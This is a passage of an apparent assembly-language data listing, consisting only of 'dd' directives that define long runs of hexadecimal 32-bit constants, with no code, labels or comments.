		dd 8C2DE401h, 0F6500FFBh, 0B39E860h, 0A7EFF992h, 0D759F022h
		dd 8E2F88A4h, 0C78D8828h, 0E8A950BEh, 0C0161F66h, 0A4009963h
		dd 14C26B4Ah, 8B192870h, 306952C8h, 8F3084E2h, 40F44B93h
		dd 585F26E0h, 4812E509h
		dd 0D705E3FBh, 0AC0477F5h, 94C8FC7Eh, 6CDF505Ch, 0B54438F3h
		dd 0E0FC4A80h, 0E249D93Bh, 0AB910F03h, 7DBA84h,	0A5F00629h
		dd 77B897E7h, 9A932203h, 9FA869FAh, 8CE2F394h, 653085F2h
		dd 3B9209E8h, 40095C56h, 17F704B0h, 31934096h, 0C4DA780Ah
		dd 0C5808491h, 0C0F96AF1h, 0B28A448Ch, 0CFF1AB01h, 0B003F4F5h
		dd 2139DCh, 404AFB35h, 5C83A056h, 9419D412h, 0CD135C40h
		dd 0E50E95h, 15E61DAEh,	400558D5h, 5C00C49Ch, 8032B0CDh
		dd 0B1D8635Bh, 0ABC02FB8h, 0CB00B6A3h, 6E132BA1h, 9CF8DC84h
		dd 0BFF58A1Ch, 349080C0h, 0B3BC3C17h, 0F8C20501h, 446952C3h
		dd 1880F840h, 0E1F13F35h, 0C9F04D35h, 510ECC2Ch, 665F1900h
		dd 0B11CA5DFh, 0C5F60162h, 5ABE1F8Dh, 7FF9897Eh, 1B0C10FBh
		dd 1929125Eh, 39B04159h, 207A6D4Eh, 0F0122E0Ch,	780BF3E3h
		dd 0F037DAh, 0D421BE4h,	3E1FDC40h, 5E1EFBABh, 0B406D600h
		dd 2CA81677h, 874470B1h, 24384A43h, 2250A152h, 312BF2B0h
		dd 0EDED4F8h, 221EE476h, 3D7B6163h, 0EC0FCB9Fh,	5C37F016h
		dd 0F16EC0A9h, 2B3234D7h, 30C2E91Ah, 0C511336Bh, 0C98C173Bh
		dd 7F7A7421h, 144CAD1Fh, 0EB0AE9E8h, 303778B5h,	45E41E27h
		dd 0ACE891CFh, 0CC3CC880h, 0C494BE5Ah, 3EC11258h, 5809A3Ch
		dd 0FDF598B7h, 0E2123241h, 28407819h, 0BD96AC11h, 12BD986Ch
		dd 1EA929h, 0AE39860Ah,	0A89A9001h, 86E498A5h, 102E8260h
		dd 5E4D5100h, 1924767Ch, 0A479C080h, 0C81DD9D3h, 1022335Ah
		dd 38A0441Ah, 6800E829h, 384616BEh, 22605D03h, 0A11D62D9h
		dd 0E3A900C6h, 0FCC44ED7h, 6F00E6EFh, 0F093B5B2h, 48EC07FBh
		dd 0CE0048E0h, 0BE467B6Ch, 29EB9F56h, 2D0810BCh, 0D4E3104h
		dd 0FFE08473h, 90FC1909h, 2C1E2720h, 84B851A8h,	0CF7BC9BAh
		dd 0C68588E4h, 502098EEh, 55F528D9h, 2CC4BA3Ch,	93C43519h
		dd 88BC8B77h, 0E4EEC073h, 0F516940Eh, 289CC6E7h, 526540A1h
		dd 4F924801h, 0A7FACD9Ch, 19838BE9h, 8C2F4A53h,	0B9701690h
		dd 316140h, 953445FEh, 3210C943h, 43E2025h, 0B059A514h
		dd 8CD187Fh, 78FACAF0h,	84BD70h, 6EB06DF0h, 0B527E557h
		dd 0B880BC90h, 389450F9h, 18D630E8h, 0F0D181CDh, 8B0006C0h
		dd 0A8ED0A70h, 9845D50h, 0BEF3BC7Fh, 82B2D020h,	8D001179h
		dd 3463A2AFh, 1FE248AEh, 701996FBh, 6B05059h, 17E61400h
		dd 0ACCBD58Ah, 0AA770358h, 9718C2BDh, 0F9293Fh,	262D0F1h
		dd 16C7E6F4h, 3FCA693Dh, 8D2374h, 7E839BB3h, 9E077A0Bh
		dd 53195D5Fh, 467CC0DAh, 4D190069h, 90A577C5h, 0D676015Ah
		dd 73B43362h, 58D2E81Fh, 0DCD40812h, 3565800h, 6037F7F9h
		dd 52D610F4h, 1C09C338h, 3775A1B7h, 0FAEB0058h,	44E7DCC8h
		dd 6BDB5Eh, 226F9A00h, 0FD4B64EFh, 3FC01952h, 86BE00A6h
		dd 99583AABh, 61E22EE4h, 12D390CCh, 0C80F69CEh,	3B047070h
		dd 0C394F1AEh, 49C6EB78h, 0B2335D1Dh, 0FCEDB680h, 4BF7E7F8h
		dd 4741723h, 904DA8F0h,	811A9258h, 0DDC389Ch, 8D4E3A13h
		dd 263C3C81h, 465EF839h, 0C9A80524h, 0D007D4B2h, 0DCB45E17h
		dd 0EB190CC0h, 1482EA25h, 54ECC26Ch, 0E8CC6B8h,	7978F01Eh
		dd 9FA4F65h, 0C8442D9Ch, 8579BCB9h, 0FB257718h,	0EFE018E3h
		dd 0C1990BC4h, 0F01D0BB8h, 158E2791h, 89FACE80h, 0F38E4C2h
		dd 1001DAB3h, 1837ED58h, 0F3E12C30h, 26A2AC63h,	2CC1430h
		dd 0DCD3892Dh, 0C4488EF2h, 8C945B5Dh, 473B6980h, 14F3146h
		dd 9B7B09Bh, 71581E20h,	27282874h, 0E0FC8A5Ch, 12704674h
		dd 1C043F0Fh, 5C9C7105h, 730604FCh, 867D659Eh, 62466054h
		dd 0C9F0CC02h, 863180FAh, 0DB74302Ah, 0EF00A757h, 0EB9108C6h
		dd 4B8F531h, 2FE87986h,	8404D1DDh, 88304B0Ch, 0A104C170h
		dd 4C243085h, 9DDE8D09h, 945404A9h, 0ECAD90A9h,	15E4744Ah
		dd 19C53902h, 8070594Eh, 0BE455A8Ch, 90CF5457h,	65FC0990h
		dd 0E8E44829h, 4A92313Ah, 47AE888h, 0A5091FF1h,	13C4F0C7h
		dd 0E55AECA8h, 28BE8724h, 0EA406300h, 2E66E4FBh, 3F207692h
		dd 86187220h, 0DFF19619h, 0AE7E0073h, 97FCB6F2h, 0A67D133Bh
		dd 0FE43F014h, 4C6E5EA4h, 0C44A3A00h, 0F8024B1h, 5D404096h
		dd 42941FFh, 0B71BE754h, 4308C0F6h, 32141325h, 0BCD875CBh
		dd 14EA8C71h, 514CA87Ah, 32F81378h, 87C8E88Bh, 0C8514BC0h
		dd 579C0511h, 407BBA25h, 0D68C73E4h, 3C02044Dh,	0D0A93177h
		dd 1200D315h, 2318B278h, 336901BCh, 19673BC7h, 20042DE6h
		dd 0BA2EE1D8h, 0B725E4CBh, 51A18004h, 0A229FDF8h, 57F2890Bh
		dd 0E4DC6532h, 19626073h, 0FFDC25B8h, 2D20C82Ah, 0B3B96430h
		dd 7608BC9Eh, 2CA92779h, 0BDE5EC01h, 4C20295Ch,	31441F68h
		dd 993005E5h, 4C2A2890h, 0FAC7020Fh, 1A933A4Ah,	7593880h
		dd 85005F0Bh, 0AC644BF2h, 4CA7D141h, 0F5102C50h, 2CF0B6Ah
		dd 0FF14E970h, 0DC092C28h, 0A02123F4h, 4155BD5Dh, 0BCFF7F44h
		dd 736D0161h, 32C15D69h, 0F90881F7h, 0CE27823h,	16874130h
		dd 60C9D2B6h, 5602973Ch, 49F56117h, 8C3C5CD9h, 28C26ACh
		dd 10533316h, 0A481271Ch, 62941344h, 3088F26Ch,	8D7C2299h
		dd 4FE08B00h, 214D4E32h, 9A349659h, 0E40079B0h,	0FD4E31E3h
		dd 1081D798h, 21901720h, 56EE484Ah, 53F06C56h, 0FF2EF8D7h
		dd 0B981E8BBh, 75017FEFh, 8F67C050h, 55F71AFDh,	0CD8F81Ch
		dd 54E97940h, 0B8B3E87Fh, 69B12094h, 5448CE16h,	28C870CBh
		dd 53C48EC0h, 0E0EF0AE6h, 4807C9Bh, 21591965h, 0F00756Fh
		dd 0FE1EF4F2h, 0D3013952h, 0B1F7EDB0h, 0BDE08C21h, 86B72553h
		dd 0F0B8ECA4h, 5E743F44h, 0F84C345Ch, 6F008C8Dh, 0E93D5102h
		dd 48CFC2E0h, 0AC11B02Bh, 1DD1392Fh, 28ECA2C8h,	0F9796600h
		dd 298B3FBh, 0DCC9043Fh, 0C8647AF0h, 652F5EF8h,	0F798007Fh
		dd 8015F2E3h, 28F8B194h, 39A23806h, 9105231h, 8C40E4C4h
		dd 981D4CC3h, 9E80C982h, 0CDFC43C2h, 74FC9435h,	39006846h
		dd 6F980C15h, 2A05ACCAh, 563FA68Bh, 32869862h, 0F96C7C40h
		dd 0E08CD04Ch, 0F1B1B0h, 31ECFA08h, 6FD0787Bh, 0B90A201h
		dd 0EBC26774h, 0C9BC8C7Ch, 7E5C178Ch, 0A5B60298h, 844009A3h
		dd 31805DC6h, 15D912F1h, 575C0455h, 0C32CC8FAh,	3368048Ch
		dd 0A26F3BC6h, 8071C76Ch, 0FE2445A1h, 1383503Ch, 0EAF8D481h
		dd 0A5244639h, 619D786Dh, 42556F41h, 0BA112FB4h, 4F84507Ch
		dd 0E200C3BEh, 7FAD1B94h, 16813Bh, 0D4471503h, 0F5AB913Ah
		dd 5C4F115Fh, 8A8E972h,	39683Bh, 3D7BA785h, 0B2A153BEh
		dd 16901754h, 0B43C126Ah, 3F7DF850h, 0B5DFBF12h, 0F380609Bh
		dd 0F80FFB6Eh, 6C16DCBEh, 0C8CD3C24h, 722EF1D0h, 5B940097h
		dd 547ADCF8h, 0F8B9118Ch, 0E41887D1h, 0C3E39h, 5857491Bh
		dd 0A015AFEDh, 0B459B668h, 234676E8h, 0EF317600h, 0CFA7B97h
		dd 94C855h, 0B59C0BD4h,	87707862h, 8DFC040Dh, 0A2A823D4h
		dd 50413024h, 0F6504FB0h, 0E71389E8h, 0C49B3807h, 95975B80h
		dd 211FAD7Eh, 0B42E914Eh, 2452F908h, 10D55108h,	6F533Eh
		dd 632747C0h, 0AA024A6Dh, 0EC818090h, 56743898h, 5D9112ECh
		dd 22D7681Ch, 0D2BBA0D1h, 2F584434h, 5020A7F5h,	21765A84h
		dd 1C44BE12h, 0EDC1BC67h, 0B8CAB1B3h, 6AFBDCDCh, 0C890D97Ch
		dd 254674E8h, 0AEDFC412h, 27CF2D01h, 946D7442h,	94922F0Bh
		dd 9118570Fh, 0F8A93BF5h, 226C625Ch, 44649873h,	70B1FCF5h
		dd 465E20AEh, 6B3602C6h
		dd 767FEA88h, 7BD942E4h, 63008C0Ah, 0FABC8A39h,	5E35326Fh
		dd 506C6918h, 0D43B1C98h, 2C66AEEFh, 0C6808111h, 0A8F967F1h
		dd 0B3C04CB1h, 91F1ACh,	7859AEEAh, 4580C5D5h, 0FC40194Bh
		dd 0DA549287h, 0EE7F0005h, 9BF97BF1h, 6E027109h, 10EBA7BCh
		dd 801874BAh, 178628B1h, 20AF55Fh, 0B440AE3Ah, 0CDAA9801h
		dd 0A9CCEF99h, 0C0C77F4Dh, 7328118h, 0F15FAC2h,	5AA42AF0h
		dd 0E424886Fh, 0D2140854h, 874C8252h, 0DC8401D5h, 51CC32F6h
		dd 1449D074h, 97F3B91Dh, 58C6401h, 212090h, 0C9DDC05Bh
		dd 538092A1h, 9813ED9Ch, 83396116h, 58722C29h, 50D1C8B2h
		dd 0B809DD92h, 364024BDh, 60A79084h, 579745B0h,	109FED1Ah
		dd 598CBAF0h, 188A799Ch, 64BC1D7Ah, 1B0814Dh, 7031D8E9h
		dd 0E092AFC0h, 91A89797h, 82E68E24h, 745BF659h,	0D9BC8148h
		dd 0C4F14334h, 56006092h, 2A3A6FA9h, 17BDAF55h,	5AB2F44h
		dd 0A0BA17DCh, 4BF41484h, 0B2707553h, 7F023085h, 5C2C122Ch
		dd 87D11029h, 2B073B18h, 839FEF8h, 9FA018A9h, 0F6B901AEh
		dd 97443738h, 5DE86039h, 307C40h, 0A150F434h, 893A4A2Fh
		dd 5A3BFB12h, 822308E6h, 68F1C701h, 0AC7CB0F9h,	70ADACB1h
		dd 9C2CBF7Ah, 5B0968C9h, 37C4A1C7h, 0BA027D56h,	3AB81881h
		dd 14F8D740h, 6000E319h, 8DFBAC18h, 1ABDA16h, 13E62D3Bh
		dd 2F3E7A02h, 0BC7F4045h, 798174C1h, 60BA23F0h,	2E695174h
		dd 37013F53h, 6BEF529Eh, 0F0708AF4h, 66E0061h, 4E39EBAFh
		dd 24941A1Dh, 0C6D19CA9h, 0D102A118h, 840863BFh, 9346427h
		dd 0F70FFFF9h, 22551890h, 508E5D4Ah, 6BC18988h,	95C90708h
		dd 0DE20688Dh, 0A9D84158h, 3CF20083h, 0CCB8B8h,	235FC3Ah
		dd 92636B16h, 5CBDAD16h, 4FC42CA4h, 4370C85Bh, 1A046000h
		dd 0A72313CEh, 197408h,	25C742B2h, 0CD53776Ch, 0CF654C02h
		dd 0CDBFD362h, 0EAEE004h, 3906D297h, 50C512BCh,	31C08048h
		dd 0D0C7841Eh, 5B8935A1h, 5EBB03D4h, 18022699h,	0E179E7FCh
		dd 746C5617h, 0EC1FC646h, 2E83FC88h, 1F614EBAh,	6C207170h
		dd 562313F2h, 1880F00Dh, 40C9B698h, 0CF8890F5h,	1C9052h
		dd 6377BB16h, 0AD0EBD33h, 7BE060EFh, 9E07F080h,	0C0049220h
		dd 0A251BD8Ch, 0A48D80B2h, 0F6B786E7h, 7767876Eh, 0E7FB2070h
		dd 15DA2ED7h, 0C9467614h, 0E2E54F00h, 8B6FF96Bh, 0C2F45718h
		dd 25F5921h, 0E6064FBDh, 0ABC0EBE1h, 317A1AA4h,	823FE83Bh
		dd 540FF98Bh, 204CFAFAh, 0F0137F01h, 48E0B4DDh,	0E14619BBh
		dd 2B7A188Bh, 29D1700Bh, 0E458C530h, 8024608Bh,	59040975h
		dd 0C88FA99Dh, 0A06FFE27h, 2FB5F555h, 0BA44ACB8h, 1C5809D6h
		dd 88F1EAF4h, 38420D3Ch, 0A8A63176h, 0EF01F620h, 0BD96A9F7h
		dd 0A9BE7A59h, 20357816h, 26196978h, 972740B4h,	808791C0h
		dd 0E88B2184h, 0EDA805EAh, 0E1E00D59h, 0A56409CCh, 4D20E0E1h
		dd 156123Ch, 3328856Bh,	99E6BD14h, 0B8D683A2h, 30B63964h
		dd 0C82957B0h, 0A63B8B0Bh, 970C40F9h, 39092DF7h, 28C454E5h
		dd 576F3560h, 77952C07h, 0A692476Ah, 91FC7C5Dh,	95AE223Eh
		dd 71914097h, 1C00B08Bh, 484A1749h, 1D5DA22Dh, 83279158h
		dd 0C8F150A6h, 1C77FE3h, 55D73BA9h, 2E05A836h, 7DCCC844h
		dd 62169000h, 0F0BE7243h, 40102788h, 0C1533F52h, 0D08FBE2Ch
		dd 25562D08h, 463C3C40h, 5917DD17h, 17AA0CCh, 0FAC79FA5h
		dd 808D863Fh, 3DFB6C30h, 0E776BAF4h, 4A40406Fh,	426A8DD3h
		dd 0DD0C8C0Fh, 0D289802Ah, 5FDF2175h, 66902261h, 16F0D030h
		dd 0F2E0FACDh, 87C0C080h, 0E02113F0h, 14AF00FEh, 55684C2Ch
		dd 5A27CE88h, 0E5B0E545h, 0C050ACCAh, 31E783Eh,	7304166Bh
		dd 0CE50901Ah, 0CC017654h, 6195A7B1h, 29C8140Dh, 757655h
		dd 67070A90h, 0DC84ECC8h, 0C830F04Ah, 0C4A9E0AEh, 4794F418h
		dd 608082ADh, 26692C16h, 74A4ECCAh, 71D30F10h, 0F280A28Fh
		dd 7EDD618Ch, 0D72A3402h, 48BFE558h, 25A77CD4h,	0C08F8F89h
		dd 5234F393h, 3086E260h, 0C5ECBDE4h, 805370Bh, 0E5B6858Fh
		dd 2E25DBC1h, 7E50202Bh, 434E640Ah, 61010004h, 14A2D21Fh
		dd 0E00EFF80h, 0C1420FE3h, 0D872DE5Bh, 4D2B8600h, 22872C26h
		dd 53F604C2h, 0AD91A099h, 0B3231024h, 24A0F425h, 5D87ABA4h
		dd 0CDEDC600h, 78E3F59Bh, 0E4630357h, 0BDC4C783h, 20D6CA91h
		dd 25F54C74h, 88104E6Ch, 0BDC8C2C7h, 0E88A042h,	0B2A717A4h
		dd 0ACC14BECh, 0C8714138h, 0A8F0146Ah, 0B7F0910h, 45DF2731h
		dd 0D30CE1C0h, 9080871h, 0AD655112h, 630054F1h,	542D55F6h
		dd 7200040h, 7E4ABFB8h,	0A10B9BF4h, 0E2054EB9h,	0D7888000h
		dd 4FF51549h, 0DA38C8CCh, 0B9001772h, 77ADD9DFh, 0F84E8D14h
		dd 6D7A090Dh, 0C585B87h, 4AE9A844h, 0F6A0D081h,	0BB2D9808h
		dd 73EC6212h, 0BFB97018h, 0E016A85Ah, 0D014E8A4h, 4710B4E1h
		dd 24854A0Ch, 8888608Eh, 0C460C9C7h, 4EC5520h, 9DAE395Ch
		dd 70548092h, 0F09E9010h, 5A20878Bh, 0B52820F0h, 35661600h
		dd 0A62DE5FBh, 10184A01h, 8BAC441Ch, 4199008Ch,	1D5A8FCFh
		dd 4E103B70h, 0CA12713Dh, 0E214B275h, 33733070h, 0C415D2Eh
		dd 3C7E1F40h, 71CAA0B0h, 6EF20094h, 77A91E69h, 5539DD1Bh
		dd 603007FCh, 5BD2E5B1h, 98D13Eh, 8F3AC15Fh, 0B0107EEh
		dd 8EB068C3h, 0E82CC6EFh, 0ACF7DC0Dh, 986E2B81h, 3F08CF26h
		dd 9A641778h, 50E41D02h, 185B1FFEh, 64E4C727h, 82096723h
		dd 10C6F7Ch, 7A38F516h,	0DA0E746Bh, 1D80DDCBh, 0E007F920h
		dd 0F0A0D86Ah, 942C4480h, 0C127EBF5h, 0DE5D8468h, 0A2606386h
		dd 144F3071h, 101E4026h, 30FADC8Bh, 0D793151Ch,	0E230A2C9h
		dd 205D3021h, 5C88885Bh, 90BF412h, 0DF990FF2h, 9F4CA098h
		dd 0E725E300h, 0DDAE83A9h, 94E20E8Dh, 6D003345h, 689B8F4Eh
		dd 5946B917h, 59CEEC49h, 48A8E778h, 60788823h, 30A397F5h
		dd 52C0A92Bh, 0D27599Ah, 0AA80C148h, 342F4F71h,	0B210E2A8h
		dd 6229308Ah, 0E4B97200h, 5990E6DCh, 24972FE5h,	97BFF86Eh
		dd 83249178h, 0B0CADF12h, 4EFD4E3Ah, 732C4421h,	394404D9h
		dd 23582EAAh, 0E80F002Bh, 458DD9EEh, 42D52A00h,	0B3BA97BDh
		dd 8AE8D3h, 47EFF30Bh, 6EDB5A64h, 9520F33h, 932100C7h
		dd 0F9FB47E7h, 0FD066232h, 20319836h, 2F850041h, 7F6DD5ADh
		dd 121F0E84h, 1BC05B0Ch, 6C86B5A2h, 829A01AEh, 32E9D335h
		dd 0EB39800Fh, 94C55490h, 8EBB0CA6h, 2508968Ch,	895121C0h
		dd 1E33E054h, 4008A1D0h, 0E4E61E63h, 2EC07BD6h,	0AF6EFE6Dh
		dd 18FD7FD7h, 0B0943B60h, 0C50EB7D3h, 0A11E8DCEh, 0CF16D6EFh
		dd 21AA0898h, 0CE00BDDAh, 0A1119913h, 0EE2EAF81h, 20700152h
		dd 0AAC5D2F2h, 0F985E031h, 0A0B2581Fh, 94990CD8h, 89704Dh
		dd 816607E4h, 6AFBC5E7h, 0E83855E0h, 20026103h,	89C8C35Dh
		dd 4240C6Ch, 1C084481h,	554521C0h, 0E6BF61C3h, 8DC201E6h
		dd 0E80550F2h, 7238013h, 39FFAF3Eh, 0F4D20055h,	5A703542h
		dd 0D007B85Fh, 5B5132FAh, 0A3CF8170h, 41F81C10h, 0FF383AE9h
		dd 490BE898h, 7E008919h, 461F3091h, 7A2971A4h, 159D18F9h
		dd 8B5FC60Bh, 0B70FC10Eh, 1B5A3F1h, 0EB181B33h,	89834504h
		dd 191121E3h, 5E0312E9h, 43B0C371h, 0C2E14097h,	0D6E4A0EEh
		dd 32D5AE01h, 858D47B2h, 3A9C0DC5h, 8E94C60h, 1F007C3Fh
		dd 79998432h, 500FDE70h, 7613887h, 6E31A1BAh, 52506008h
		dd 1C0129BEh, 895F2CC2h
		dd 0BDCC2404h, 5A8DEB55h, 940E8B50h, 43C85FA3h,	3015A2CAh
		dd 8FA058F7h, 383053Dh,	79B8BE46h, 46A82502h, 1D6FF48Bh
		dd 0E831E6D8h, 35505225h, 48C35819h, 0FF4E44h, 2C35040h
		dd 5EAB1ECh, 0D88C085Fh, 0F0C20E03h, 3025856Ah,	0C083F712h
		dd 8D310506h, 52F11995h, 8A00F1E9h, 0C2DB3453h,	0B3106630h
		dd 92406735h, 0E1BD1431h, 465651Bh, 5B552153h, 5C89C8C3h
		dd 4319448Ch, 77C35300h, 0E12627DBh, 4423A7CFh,	0C887601Ah
		dd 4155090Eh, 5C0063DEh, 65FD6A4Bh, 7195FF0Ah, 52145324h
		dd 0C35A872Eh, 51078829h, 524250h, 0A02CBDC3h, 8DE045FCh
		dd 0D64B9D01h, 830F07E7h, 602B00CFh, 0B0D98B66h, 0FF0161F4h
		dd 0B8D8BFD3h, 85DC725Ch, 0E42029B9h, 181DD9E7h, 0B80E0075h
		dd 31DA9599h, 0B01893BFh, 79250AE8h, 1A8803B4h,	0F55082E0h
		dd 5E9A5F0h, 4A671FC0h,	7B6DB6F3h, 91CF495Eh, 1FE837h
		dd 11ED815Dh, 7CA03792h, 0E7831469h, 312AD563h,	0FEBD00Ch
		dd 0A101F986h, 18D1A70Ch, 1005718h, 8BC83C27h, 0A71AC59Dh
		dd 601AC4CDh, 1EEFA9FCh, 0D338349h, 0C1DF8F0Fh,	752157h
		dd 0E3815E72h, 565C52E1h, 0E4C35E30h, 22744689h, 56460017h
		dd 74BEDDC3h, 8D1829BFh, 0F5B631B9h, 6ADB640Bh,	0B86450B3h
		dd 0E9008C1Ch, 32304E84h, 613681Fh, 0D58D8975h,	833F662Dh
		dd 0D02FA8BDh, 3D84C180h, 958C3FD8h, 0B0E98013h, 0DE817C6h
		dd 0C010000Bh, 250CB52Ch, 3472A1E4h, 924AA409h,	0FBB490E8h
		dd 1B67A36h, 93EC647Ch,	0D8654D2Fh, 69024337h, 0FCA61383h
		dd 8D90875Fh, 0C712A219h, 0AB4A8885h, 1CD9DDA9h, 0D2FAB718h
		dd 510D3Eh, 139CE7Eh, 0C81F8DBDh, 1FA645D7h, 3F16AD0Ah
		dd 14FC10CEh, 31730F8Ch, 6F995D95h, 0EA8E100Eh,	7ABEE26h
		dd 0DD8611FEh, 0A760E02Dh, 5C938D42h, 59875191h, 4C8922C3h
		dd 4100E847h, 7BFEC351h, 537E013Bh, 0FA5D2C28h,	0FB20303Dh
		dd 0FF23810Eh, 2EE95CFEh, 9181471h, 68D0F18h, 6F858915h
		dd 0A89DDFD1h, 2069980Ch, 661030B9h, 19E8DB8Ch,	83FE398Ch
		dd 7E37B90Ch, 0F67BF9C2h, 22530448h, 0C11CA024h, 0C740821Eh
		dd 40822D91h, 3B62D3h, 0BF9025FBh, 1D303CAAh, 230D5077h
		dd 0A11C31BDh, 2E1210F8h, 941B42E9h, 1535C209h,	47B131Eh
		dd 522C545h, 0E43170E6h, 19C43255h, 6018003Dh, 78CACCC1h
		dd 5F14B2BAh, 8188810Fh, 0A859D09h, 8712507h, 5FC25787h
		dd 7C0FE1C3h, 47806E33h, 0D136C357h, 0A782410Ah, 0A508BD60h
		dd 4521701h, 21F972h, 0B60F615Fh, 0D11799D8h, 1A951816h
		dd 0BCBAA59Bh, 1DC46847h, 0AF332E60h, 3B745A01h, 59062301h
		dd 0AB950B20h, 47C3B2CFh, 6717440Ah, 0F80F0C70h, 89B51209h
		dd 863E4E25h, 0E8C10A11h, 1CD67E04h, 7157C240h,	3181AAh
		dd 53F7665Eh, 16A284E2h, 0EED1F931h, 24F28670h,	9057D82Bh
		dd 10D65809h, 502C186Dh, 0FC792F2h, 1CC66173h, 0F1581524h
		dd 97B52CFAh, 8A06EE4Ch, 58C97380h, 7F906378h, 50E412Eh
		dd 119467Ch, 5E3A6A93h,	824160D0h, 83222391h, 149D1062h
		dd 62A78344h, 13601C44h, 101C998Dh, 2C89169Bh, 48809C6h
		dd 5C803C4Eh, 0D2027F83h, 7E6F30h, 914166Ah, 0F632D1h
		dd 81769015h, 49FFAFDEh, 538D1249h, 3318A23Dh, 391F4988h
		dd 0C0E93529h, 3289A500h, 9AE2585Eh, 5D154187h,	88C50BA0h
		dd 0C294C015h, 0B6B1820Fh, 0EE3E1025h, 0C6510257h, 0D5ED48A5h
		dd 0ACC1A542h, 0BE661015h, 84D949E8h, 80665E55h, 0F00F28F1h
		dd 572C830Dh, 62A8210Ch, 3EDC1996h, 7600A220h, 30AB7891h
		dd 0B44E929h, 0F1F2F7h,	2E96C670h, 7851D166h, 0BCBA5849h
		dd 0E2530BEh, 57880FAAh, 0F8E10158h, 0FB1C8C17h, 0B997B562h
		dd 81660620h, 0B18A0BF7h, 1DA2C183h, 3B020279h,	1DCF41D9h
		dd 1BF80628h, 7B29018Ch, 4CFBB30Ch, 10E9D05Ah, 8AAA21C0h
		dd 1C53685Fh, 0C2518B92h, 6BA1E5D1h, 801DD985h,	0F6F8D9B6h
		dd 2493C159h, 467E43A2h, 0BC760517h, 0AC982C78h, 9AF1EC89h
		dd 0F5B590Ch, 0A30F3EBCh, 8136808Bh, 0DC30D813h, 0CC00AA23h
		dd 62FAA03Ah, 0C3522BBEh, 3016E25Eh, 2654EB7Fh,	243E042Bh
		dd 3DC6611Ch, 392D0834h, 0BE00AF42h, 6A298DAAh,	15C03CE9h
		dd 89B6D781h, 8B0E14ABh, 1AB846C0h, 0F2341C8Ch,	0AA8C8411h
		dd 0D5A5C135h, 8E0F0131h, 612C9B76h, 0D80A6F90h, 1B465C38h
		dd 1461124h, 0CBAEAAAh,	0E62531A0h, 4887C92Eh, 2CC7FCAAh
		dd 82486585h, 71681151h, 1944BD67h, 0B02BB660h,	0AB695B14h
		dd 0D20E5C95h, 8517F68Eh, 23323F34h, 40E3001Ch,	0FF579CB7h
		dd 94E8D112h, 0B4EECE03h, 8085CA12h, 0D9B2BE39h, 0A3275977h
		dd 1116F96h, 29610F6Bh,	0E154C58Dh, 9CE9BBD8h, 163C809Bh
		dd 34F5ECC6h, 0BF2F5500h, 0B5319081h, 0FD0B52A5h, 0BE060522h
		dd 4AD87B76h, 0A203685Bh, 1A46748Bh, 6E927C00h,	8817F742h
		dd 1F0CE830h, 71C7C1FDh, 0EFD700BEh, 0A43D4D77h, 0EE00BFE6h
		dd 5F127982h, 6F7DB529h, 0F8ACA130h, 5393F706h,	31B58902h
		dd 3C86091Fh, 259EFCE1h, 0DCEA00DEh, 0DD061A3h,	4F0A34D7h
		dd 0D2FDB523h, 31E39A6h, 0E50A050Ah, 2289A39Ch,	552F0262h
		dd 1BF9070Dh, 1711479Dh, 2531C081h, 0CBD4B877h,	0F59BBA12h
		dd 36064D8Bh, 605B1522h, 9CB16320h, 15490109h, 0C8AC0479h
		dd 535BE83Dh, 1F75850h,	1DF52140h, 0D8853161h, 75BDFD04h
		dd 0E9121692h, 0DBCEF753h, 0F5C01AC8h, 62E2BD4h, 0E98D5EA1h
		dd 3E481F2Ah, 524938D7h, 49E9BC01h, 65056C8Ah, 0C0D76B8Dh
		dd 1E34C845h, 94284200h, 0F78B9F7Eh, 0EA0600E1h, 0DE777D56h
		dd 5300E703h, 0B145633Dh, 0A7BD9Bh, 820FD13h, 9411C174h
		dd 0AA9AEF1Eh, 97266BC1h, 0C6207956h, 6480005Bh, 0C5DDBAD0h
		dd 0E27FBF8Dh, 6CA4B800h, 4D6B45D1h, 0FE42EEF4h, 0A0743Eh
		dd 68886114h, 0D69CAE17h, 65E2440Ch, 703C1D9Eh,	919A3ECCh
		dd 9FF8F483h, 7AC3738Dh, 809674F8h, 9C004876h, 41EFA86h
		dd 63E15CCh, 21D65306h,	0AD00443Ch, 4CC9EB44h, 60482518h
		dd 92A83030h, 0A00E8FEh, 14EEBCF4h, 3E08A6F6h, 3800102Eh
		dd 83FAAA81h, 0FB058FA5h, 3170AF21h, 41478640h,	305BD822h
		dd 3264C7A4h, 5E0070C9h, 0FF4F6744h, 1F6B8561h,	0F0E69359h
		dd 0A90B0925h, 18182CE4h, 8417D6ADh, 756CFA1Bh,	0AA7B0038h
		dd 0AB1DE05Bh, 9F14C650h, 158C4270h, 7EEABEFDh,	8CA07F00h
		dd 0D2A7B954h, 2307292h, 0CC679FB3h, 9DA09A61h,	0A8BE9C38h
		dd 233D4F00h, 49F62E46h, 6D1FC0B4h, 37C8F4B0h, 0E05C111Eh
		dd 0C06F20E5h, 0E26F24Eh, 64888987h, 3156E41h, 2A0F202Eh
		dd 0FC0A34FEh, 0E1D00861h, 9AACC200h, 87A780h, 9C35C537h
		dd 6BE0F2B8h, 2C09EE1Bh, 35CE070h, 5D2B00F1h, 7C1A6A7Eh
		dd 4E0086A0h, 338CA280h, 8D5B21h, 0B2B090B1h, 5D77CBC9h
		dd 6C2AE9A0h, 0E6B94207h, 0F18058A7h, 3E1922CEh, 0FD248FB7h
		dd 8B08002Eh, 6D8964DBh, 419A3501h, 0E5C3611Fh,	18ECD352h
		dd 8D016A38h, 6D0A1C75h, 4DCC4639h, 0C6A300B9h,	0CE401AAEh
		dd 2571DC90h, 623CBB12h, 4D92000h, 25F7B56h, 69805927h
		dd 0A7A117ECh, 80B047C4h, 64B51E0Dh, 46AA2FBh, 3C23632Ch
		dd 0BEA49061h, 58007B9Fh, 3738D3B2h, 14A6DEh, 467E9C76h
		dd 0A37F99ABh, 83518900h, 85538BA9h, 5A923DA6h,	0D898CC80h
		dd 87376F80h, 15B3A824h
		dd 0DCEA6D1Eh, 7D4F9654h, 0A1136300h, 772EFAF3h, 0C1D3033Fh
		dd 38502DFBh, 86745E80h, 7900297Dh, 48603DC9h, 0F22FAC10h
		dd 9C19003Bh, 7E9A75E8h, 0B100902Eh, 53698B9Dh,	1F502978h
		dd 70C7BC39h, 0D12A93EEh, 727640F8h, 33001BE8h,	0BEFBB604h
		dd 771565h, 1FF88498h, 1A2CC7FFh, 0A9BA5416h, 16E8104h
		dd 0F6683E80h, 8D6901A8h, 45579A3Dh, 0D700F3A6h, 0D4DF54C6h
		dd 2499880h, 166F8965h,	77AE2F04h, 0AF16E82h, 68C8C0A1h
